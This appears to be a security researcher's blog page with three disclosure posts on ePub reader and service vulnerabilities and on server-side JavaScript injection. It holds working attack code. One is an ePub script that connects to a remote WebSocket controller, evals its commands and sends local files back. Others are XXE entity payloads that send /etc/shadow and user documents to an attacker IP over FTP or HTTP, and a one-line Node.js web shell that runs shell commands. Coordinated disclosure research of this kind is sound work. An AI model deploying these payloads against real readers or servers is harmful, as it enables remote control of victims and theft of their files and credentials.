Posts

  • This book reads you - using JavaScript

    “Yes, books are dangerous. They should be dangerous - they contain ideas.” - Pete Hautman

    On a previous post about ePub parsers (This book reads you - exploiting services and readers that support the ePub book format), I mentioned using scripting capabilities in ePub to perform local attacks against users.

    Apple just released a fix for one issue I reported last year in iBooks that allowed access to files on a users system when a book was opened. iBooks on El Capitan would open an ePub using the file:// origin, which would allow an attacker to access the users file system when they opened a book. (CVE-2017-2426)

    To help demonstrate how this could be used to perform attacks against users, I added a WebSocket client to a book, so that all users who open the book will connect back to a WebSocket controller server that will feed them arbitrary instructions. The WebSocket client in the ePub will allow access as long as the user has the book open (expectation is that it could be open for a long time, if the user is provided with something worth reading).

    eg., Sending a book to a user: Image

    iBooks connects to the WebSocket Controller when opening the book: Image

    iBooks connecting back to a WebSockets Controller. Local files can be retrieved if the reader is vulnerable to CVE-2017-2426 (file:// origin): Image

    Video demo of how this works (trying to type with one hand):

    This is the POC book if you want to try it yourself. You can open it in a reader like Apple iBooks or Adobe Digital Editions.

    Image

    Disclaimer: The POC connects to my controller, but I promise not to do anything bad. 😉

    To modify it to point to your own controller:

    • curl https://s1gnalcha0s.github.io/assets/controller/POC.epub -o poc.epub

    • unzip poc.epub; rm poc.epub

    eg., contents of poc.epub/EPUB/js/main.js

    WebSocketController = 'ws://websocket-controller.herokuapp.com:80';
    
    var socket = new WebSocket(WebSocketController, 'echo-protocol');
    socket.onopen = function(evt) { onopen() };
    socket.onmessage = function(msg) { onmessage(msg) };
    socket.onclose = function(evt) { onerror() }
    
    function onopen()
    {
      message('Connected to WebSocket Controller: ' + WebSocketController);
    }
    
    function onerror()
    {
      message('Unable to connect to WebSocket Controller: ' + WebSocketController);
    }
    
    function onmessage(msg)
    {
      //just eval anything sent from the controller
      response = eval(msg.data);
    
      //send response back to controller
      socket.send(response);
    }
    
    function get(loc) {
      var xmlhttp = new XMLHttpRequest();
      xmlhttp.open('GET', 'file://' + loc,false);
      xmlhttp.send();
      
      //populate the message element
      message(xmlhttp.responseText);
    
      return xmlhttp.responseText;
    }
    
    function message(message) {
      document.getElementById("message").innerText = message;
      return message;
    }
    
    function showExfil() {
      get('/etc/passwd');
    }
    • zip -r poc.epub *

    Node.js WebSocket Controller:

    • curl https://s1gnalcha0s.github.io/assets/controller/server.js -o server.js
    • npm install websocket
    • node server.js

    Disclosure timeline stuff:

    • Dec 2016: Reported to Apple.
    • Mar 2017: Fix release, and this post.

    Shoutouts:

    @shhnjk reported CVE-2017-2426 as well around the same time 👍.
    @mccabe615 ran a POC to help me confirm some issues independently.

    Thanks for reading. 👋

    @craig

  • This book reads you - exploiting services and readers that support the ePub book format

    “We use the ePub format - it is the most popular open book format in the world. We’re very excited about this.” - Steve Jobs, 2010 (original iPad launch)

    TLDR; Applying a familiar XXE pattern to exploit services & readers that consume the ePUB format. Exploiting vulnerabilities in EpubCheck <= 4.0.1 (ePub Validation Java Library & tool), Adobe Digital Editions <= 4.5.2 (book reader), Amazon KDP (Kindle Publishing Online Service), Apple Transporter, and Google Play Book uploads, etc.

    ePub is a standard format for open books maintained by IDPF (International Digital Publishing Forum). IDPF is a trade and standards association for the digital publishing industry, set up to establish a standard for ebook publishing. Their membership list: http://idpf.org/membership/members

    An epub is based on XML, CSS, XHTML, etc web content zipped together into a single package, which ends in the extension .epub. Depending on the reader device/application support, ePub can also support interactivity using Flash and Javascript.

    ePub uses XML metadata to define the document structure, support digital signatures, digital rights (DRM) etc.

    eg., epub archive:

    Archive:  book.epub
      Length      Date    Time    Name
    ---------  ---------- -----   ----
           20  04-09-2014 15:41   mimetype
         2189  04-09-2014 15:41   toc.ncx
        39962  04-09-2014 15:41   OEBPS/chapter-001-chapter-i.html
        41745  04-09-2014 15:41   OEBPS/chapter-002-chapter-ii.html
          684  04-09-2014 15:41   OEBPS/title-page.html
          557  04-09-2014 15:41   OEBPS/front-cover.html
        42220  04-09-2014 15:41   OEBPS/chapter-003-chapter-iii.html
         1185  04-09-2014 15:41   OEBPS/copyright.html
          884  04-09-2014 15:41   OEBPS/table-of-contents.html
       234790  04-09-2014 15:41   OEBPS/assets/pressbooks-promo.png
        33684  04-09-2014 15:41   OEBPS/assets/MedulaOne-Regular.ttf
       244146  04-09-2014 15:41   OEBPS/assets/themetamorphosis_1200x1600.jpg
          661  04-09-2014 15:41   OEBPS/pressbooks-promo.html
        27328  04-09-2014 15:41   OEBPS/jackson.css
         3494  04-09-2014 15:41   book.opf
          240  04-09-2014 15:41   META-INF/container.xml
          157  04-09-2014 15:41   META-INF/com.apple.ibooks.display-options.xml
    ---------                     -------
       673946                     17 files

    eg., contents of META-INF/container.xml

    <?xml version="1.0"?>
    <container version="1.0" xmlns="urn:oasis:names:tc:opendocument:xmlns:container">
     <rootfiles>
     <rootfile full-path="OEBPS/book.opf"
     media-type="application/oebps-package+xml" />
     </rootfiles>
    </container>

    eg., contents of book.opf

    <?xml version="1.0" encoding="UTF-8" ?>
        <package version="2.0" xmlns="http://www.idpf.org/2007/opf" unique-identifier="PrimaryID">
        <metadata xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:opf="http://www.idpf.org/2007/opf">
        <dc:title>My Book </dc:title>
        <dc:language>en</dc:language>
        <dc:identifier id="PrimaryID" opf:scheme="URI">http://mybook.com</dc:identifier>
        <dc:description>Description</dc:description>
        <dc:creator opf:role="aut">Author</dc:creator>
        <dc:publisher>Publisher.com</dc:publisher>
        <meta name="cover" content="cover-image" />
    </metadata>

    When I first started looking into this, I learned about a tool/Java library called EpubCheck (provided by IDPF) that is used to validate books in the ePub format. Book publishers tend to perform a validation step using something like this to check the format validity. The validator tool/library was vulnerable to XXE, so any application that relies on a vulnerable version to check the validity of a book would be susceptible to this type of attack.

    Modifying an existing ePub file to test for XML parsing vulnerabilities:

    • curl https://s3-us-west-2.amazonaws.com/pressbooks-samplefiles/MetamorphosisJacksonTheme/Metamorphosis-jackson.epub -o book.epub

    • unzip book.epub; rm book.epub

    • Edit any of the files that contain XML metadata.

    eg., book.opf (XXE - XML External Entities pattern)

    <?xml version="1.0" encoding="UTF-8" ?>
    <!DOCTYPE a [<!ENTITY % b SYSTEM "http://123.123.123.123/dtd">%b;%c;]><package version="2.0" xmlns="http://www.idpf.org/2007/opf" unique-identifier="PrimaryID">
    <metadata xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:opf="http://www.idpf.org/2007/opf">
    <dc:title>Metamorphosis</dc:title>
    <dc:language>en</dc:language>
    <dc:identifier id="PrimaryID" opf:scheme="URI">http://metamorphosiskafka.pressbooks.com</dc:identifier>
    <dc:description>&send;</dc:description>
    • zip -r book.epub *

    • Point at a HTTP server to serve the following contents, and specifying a FTP server to recieve the specified file

    <!ENTITY % d SYSTEM "file:///etc/shadow">
    <!ENTITY % c "<!ENTITY send SYSTEM 'ftp://123.123.123.123/%d;'>">

    EpubCheck <= 4.0.1

    There was a online instance of EpubCheck, that would accept user uploads and perform validation on the format. This provides an example of how this vulnerability could be used to attack online services that support ePub in some way, if they are using a vulnerable version of EpubCheck to validate the uploaded file.

    Uploading our created file: Image

    HTTP listener receiving the dtd request when parsed by the remote XML parser, and custom FTP listener receiving the file (I didn’t think it would work, but specified /etc/shadow as the file to retrieve).
    Image

    This means that we accidentally retrieved the /etc/shadow file. Public facing web apps running as root/system in prod… 😫

    A few examples of other services, and applications I came across that were vulnerable:

    Amazon KDP which allows publishers to upload books, was susceptible to XXE when converting books to the Kindle format. Image Image

    Adobe Digital Editions <= 4.5.2 (book reader) when a user opens a book, this would allow files to be taken from their system. CVE-2016-7889.

    External DTD specifying the file to retrive:

    <!ENTITY % d SYSTEM "file:///c:/Users/Documents/secret.txt">
    <!ENTITY % c "<!ENTITY send SYSTEM 'http://123.123.123.123/exfil/%d;'>">

    eg., Retrieving secret stuff from a users Windows documents folder: Image

    Apple Transporter (underlying tool used to validate metadata and assets and deliver them to the iTunes Store), CVE-2016-7666. Image

    Google Play Book uploads did not allow external entity processing, but was vulnerable to XML exponential entity expansion billion laughs. When uploading a ePub with this pattern, it would spend about 45 minutes trying to process the file before returning an error condition. Google confirmed this on their side.

    There are more things going on with the ePub format beyond the familiar patterns shown here. Some applications will allow Flash to be run, and Javascript execution in the context of the book reader, so you can imagine this can be used to perform some attacks; currently waiting on vendor fixes before talking about this.

    Disclosure timeline stuff:

    • Sep 2016: Reported XXE in EpubCheck <= 4.0.1.
    • Sep 2016: Reported XXE in Adobe Digital Editions <= 4.5.2.
    • Sep 2016: Reported XXE in Amazon KDP.
    • Oct 2016: Reported XXE in Apple Transporter
    • Oct 2016: Reported XML exponential entity expansion in play.google.com book uploads.
    • Dec 2016: Coordinated disclosure.
    • Jan 2017: This blog post (lots of time for users to patch).

    Thanks to CERT/CC for their help in coordinating with different vendors & IDPF, and setting a disclosure timeline. I only tested a handful of digital readers and services, so if you find other vulnerable readers/services, tell CERT/CC (they were tracking the ePubCheck issue as VU#779243).

    If you got this far, thanks for reading. 👋

    @craig

  • SSJS Web Shell Injection

    I’ve recently become interested in real world examples of vulnerabilities in Node.js applications, which allow Server Side Javascript Injection. One advisory I came across was CVE-2014-7205 discovered by Jarda Kotěšovec in a Basmaster plugin which allows arbitrary Javascript injection.

    I decided to mock up a simple example of user input passed to an eval() execution sink, to demonstrate an injection of a simple web shell into the server. This web shell will only exist within the current node.js process, and will not be written to disk.

    This demo application will only allow a single user input selection to keep things simple: Demo app

    Vulnerable code (user input passed to an eval execution sink):

    router.post('/demo1', function(req, res) {
      var year = eval("year = (" + req.body.year + ")");
      var date = new Date();
    
      var futureAge = 2050 - year;
    
      res.render('demo1',
        {
          title: 'Future Age',
          output: futureAge
        });
    });

    In this example res.write(‘SSJS Injection’) is injected, and the server will return that string in the page response: Demo app

    So we can perform arbitrary SSJS injection on this location. What about injecting a web shell that will start up after 5 seconds, listening on TCP/8000?

    setTimeout(function() {
        require('http').createServer(function(req, res) {
            res.writeHead(200, {
                "Content-Type": "text/plain"
            });
            require('child_process').exec(require('url').parse(req.url, true).query['cmd'], function(e, s, st) {
                res.end(s);
            });
        }).listen(8000);
    }, 5000)

    One line web shell:

    setTimeout(function() { require('http').createServer(function (req, res) { res.writeHead(200, {"Content-Type": "text/plain"});require('child_process').exec(require('url').parse(req.url, true).query['cmd'], function(e,s,st) {res.end(s);}); }).listen(8000); }, 5000)

    Because we are inserting code which will be eval’d by the application, the web shell will not be written to disk, and execution will be performed from the existing node process.

    Injection of the web shell (application continues to respond normally): Demo app

    Execution of cat /etc/passwd using the web shell: Demo app

    Execution of ls -la /etc: Demo app

    This is a really simple example of an application with a SSJS injection vulnerability. Another thing to note is that tools to identify web application vulnerabilities may not have support to detect this vulnerability. At the time of this writing, Burp Suite v1.6.10 did not identify a SSJS injection vulnerability in the demo application.

subscribe via RSS